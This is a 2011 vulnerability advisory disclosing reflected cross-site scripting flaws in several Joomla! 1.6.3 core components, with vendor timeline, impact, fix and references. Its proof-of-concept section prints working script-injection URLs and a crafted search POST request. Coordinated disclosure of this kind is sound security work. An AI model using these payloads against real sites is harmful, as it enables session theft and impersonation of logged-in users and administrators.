Joomla! 1.6.3 and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities

1. OVERVIEW

Joomla! 1.6.3 and lower are vulnerable to multiple Cross Site Scripting issues.

2. BACKGROUND

Joomla is a free and open source content management system (CMS) for
publishing content on the World Wide Web and intranets. It comprises a
model–view–controller (MVC) Web application framework that can also be
used independently.
Joomla is written in PHP, uses object-oriented programming (OOP)
techniques and software design patterns, stores data in a MySQL
database, and includes features such as page caching, RSS feeds,
printable versions of pages, news flashes, blogs, polls, search, and
support for language internationalization.

3. VULNERABILITY DESCRIPTION

Several parameters (QueryString, option, searchword) in Joomla! Core
components (com_content, com_contact, com_newsfeeds, com_search) are
not properly sanitized upon submission to the /index.php url, which
allows attacker to conduct Cross Site Scripting attack. This may allow
an attacker to create a specially crafted URL that would execute
arbitrary script code in a victim's browser.

4. VERSION AFFECTED

1.6.3 and lower

5. PROOF-OF-CONCEPT/EXPLOIT

component: com_contact , parameter: QueryString (Browser: All)

http://attacker.in/joomla163_noseo/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1"><script>alert(/XSS/)</script>

component:com_content , parameter: QueryString (Browser: All)

http://attacker.in/joomla163_noseo/index.php?option=com_content&view=category&id=19&Itemid=260&limit=10&filter_order_Dir=&limitstart=&filter_order=><script>alert(/XSS/)</script>

component: com_newsfeeds , parameter: QueryString (Browser: All)

http://attacker.in/joomla163_noseo/index.php?option=com_newsfeeds&view=category&id=17&whateverehere="><script>alert(/XSS/)</script>&Itemid=253&limit=10&filter_order_Dir=ASC&filter_order=ordering

parameter: option (Browser: All)

http://attacker.in/joomla163_noseo/index.php?option="><script>alert(/XSS/)</script>&task=reset.request

component: com_search, parameter: searchword (Browser: IE, Konqueror)

[REQUEST]
POST /joomla163/index.php HTTP/1.1
Referer: http://attacker.in/joomla163/
User-Agent: Konqueror/4.5
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: attacker.in
Accept-Encoding: gzip, deflate
Content-Length: 125

option=com_search&searchword='%2522%253C%252Fscript%253E%253Cscript%253Ealert(%252FXSS%252F)%253C%252Fscript%253E&task=search
[/REQUEST]

This searchword XSS was identified via source code:
http://yehg.net/lab/pr0js/advisories/joomla/core/1.6.3/xss/XSS%20%5bMode=SEO,NON-SEO%5d/(searchword)_xss_vuln_code_portion.jpg

6. IMPACT

Attackers can compromise currently logged-in user/administrator
session and impersonate arbitrary user actions available under
/administrator/ functions.

7. SOLUTION

Upgrade to Joomla! 1.6.4 or higher

8. VENDOR

Joomla! Developer Team
http://www.joomla.org

9. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

10. DISCLOSURE TIME-LINE

2011-05-26: notified vendor
2011-06-28: vendor released fix
2011-06-28: vulnerability disclosed

11. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.3]_cross_site_scripting(XSS)
Vendor Advisory URL:
http://developer.joomla.org/security/news/352-20110604-xss-vulnerability.html
XSS FAQ: http://www.cgisecurity.com/xss-faq.html
OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE-79: http://cwe.mitre.org/data/definitions/79.html

#yehg [2011-06-28]